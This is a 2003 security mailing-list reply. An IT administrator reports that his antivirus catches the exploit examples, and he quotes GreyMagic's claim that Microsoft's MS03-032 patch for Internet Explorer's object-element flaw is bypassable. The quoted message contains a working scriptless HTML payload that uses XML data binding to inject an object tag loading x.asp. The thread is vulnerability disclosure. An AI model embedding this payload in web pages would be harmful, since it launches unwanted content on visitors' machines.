Updated antivirus software should catch this exploit and prevent any application from
being launched.
We have McAfee VirusScan 7 Ent. which caught both exploit examples at
http://greymagic.com/adv/gm001-ie/
Andrew Becker
C.H. Mortgage, D.R. Horton
Phoenix IT/MIS Department
Phone: (866) 639-7305
Fax: (480) 607-5383
"GreyMagic
Software" To: "NTBugtraq" <[EMAIL
PROTECTED]>, "Bugtraq"
<[EMAIL PROTECTED] <[EMAIL PROTECTED]>, <[EMAIL
PROTECTED]>,
ic.com> <[EMAIL PROTECTED]>
cc: <[EMAIL PROTECTED]>,
"Microsoft Security Response Center"
09/08/03 07:52 AM <[EMAIL PROTECTED]>, (bcc: Andrew D
Becker/Continental Homes)
Subject: RE: BAD NEWS: Microsoft
Security Bulletin MS03-032
>The patch for Drew's object data=funky.hta doesn't work:
This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which
explains the problem in detail. Microsoft again patches the object element
in HTML, but it doesn't patch the dynamic version of that same element.
>1. Disable Active Scripting
This actually means that no scripting is needed at all in order to exploit
this amazingly critical vulnerability:
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object data=x.asp></object>
]]>
</exploit>
</security>
</xml>
Ouch.
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